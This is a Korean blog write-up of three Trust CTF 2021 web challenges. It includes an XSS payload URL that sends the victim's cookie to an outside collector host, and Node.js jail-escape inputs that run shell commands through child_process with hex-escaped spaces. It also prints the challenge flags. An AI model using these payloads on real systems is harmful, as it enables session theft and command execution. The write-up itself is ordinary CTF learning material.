🌑

Trust CTF 2021 Write Up

오늘은 디미고의 Trust라는 팀에서 CTF를 주최해서 참여를 했었습니다. 개인적인 일도 있고 해서 아침부터 참여하지 못 하고, 오후에 조금 참여를 했습니다.


(Web) babyxss [270 pts]

babyxss 문제는 DOMPurify Bypass로 위장한 간단한 XSS 문제입니다.

<?php
require_once("secrets.php");
# This Challenge using newest version DomPurify..! Maybe unexploitable!!

if(isset($_GET['name'])) {
    header("content-security-policy: base-uri 'self'; block-all-mixed-content; connect-src 'self';");
    header('X-Frame-Options: DENY');
    echo "<h1 id='name'>Hello </h1>";
    echo '<script src="https://code.jquery.com/jquery-3.5.1.min.js"integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>';
    echo "<script type='text/javascript' src='https://cure53.de/purify.js'></script><script>var name='". base64_encode($_GET['name']) ."';document.getElementById('name').innerHTML += DOMPurify.sanitize($('<p>').html(atob(name)).text())</script>";
}

show_source(__FILE__);

문제로 들어오면 위와 같은 코드가 나오는데 보면 CSP도 걸려 있고, 밑에는 DOMPurify를 이용해서 XSS를 대응하고 있는 것을 볼 수 있습니다. 그래서 그냥 DOMPurify Bypass Payload를 아무 거나 삽입해서 트리거가 되길래 쿠키를 탈취해서 플래그를 얻었습니다.

하지만 트리거가 된 이유는 DOMPurify를 우회해서가 아닙니다. DOMPurify는 최신 버전을 사용하고 있기 때문에 우회하는 건 불가능했습니다.

$('<p>').html(atob(name)).text()

하지만 위 코드를 sanitize() 메서드의 인자로 넘겨주고 있는 것을 볼 수 있습니다. 바로 저기서 DOM 내부에 잠시 들어가게 되는데 저때 XSS가 트리거가 되는 것 입니다. 그래서 일반적인 페이로드를 이용해서도 XSS트리거를 할 수 있습니다.

https://xss.trustctf.xyz/?name=%3Csvg%3E%3C/p%3E%3Cstyle%3E%3Ca%20id=%22%3C/style%3E%3Cimg%20src=1%20onerror=location.href=%27https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?f=%27.concat(document.cookie)%3E%22%3E
TRUST{cf909172b91c8bf3f70c0e71f2809f36}

(Web) FLAG Checker [1000 pts]

FLAG Checker 문제는 간단한 ReDos 문제입니다. 이론만 저번에 공부하고 처음 해보는데 그냥 신기한 기법인 거 같습니다.

Wrong.... <?php
    include "./secret.php";
    $result = preg_match("/{$_GET['flag']}/", $flag);
    if ($flag === $_GET['answer'] && $result === 1) {
        echo $flag;
    }
    else {
        echo "Wrong....";
    }

    highlight_file(__FILE__);
?>

문제로 들어오면 위와 같이 나오는데 얼마전에 이런 문제를 본적이 있어서 바로 ReDos가 생각이 났고, 해당 기법으로 슥삭 해주니 플래그가 나왔습니다. 해당 문제와 비슷한 문제가 나중에 webhacking.kr에도 올라온다고 해서 따로 익스 코드는 올리지 않겠습니다.

TRUST{2ef0c0b759425eed6d3932c109e0fe74}

(Web) nodejail (Not Solve) [400 pts]

nodejail 문제는 간단한 제일문제 입니다.

문제로 들어오면 그냥 입력창 하나가 보입니다. Javasript 코드를 입력해주면 여러가지 문자가 필터링 걸린 것을 확인할 수 있습니다.

require(`child_process`).execSync(`c?t${IFS}~~`).toString()

대회 당시에는 위와 같이 ${IFS}를 이용해서 공백을 우회하는 방식을 이용해서 진행하고 있었습니다. 하지만 위와 같이 아무리 해봐도 err만 반환할 분 아무 일도 일어나지 않아 그냥 포기 했었습니다.

require(`fs`).readdirSync(`./`)

대회가 끝나고 승주님에게 물어보니 fs 모듈을 이용해서 디텍터리 탐색을 하는 코드를 받을 수 있었다. 위 코드를 보고 한 참 어이가 없었다. fs를 모듈을 이용해서 파일을 읽고, 쓰고만 되는 줄 알았는데 알고 보니 디렉터리를 탐색할 수 있다는 것을 처음 알았기 때문이다.

require(`child_process`).execSync(`\x63at\x20T\x2a`).toString()

그리고 두 번째는 경준님은 어케 풀었나 궁금해서 물어보니 위와 같이 위와 같이 16진수를 이용해서 공백을 우회한 것을 보고, 또 어이가 없었다..

TRUST{th1s_1s_3xtrem3_n0d3_j41l}

, , — Feb 28, 2021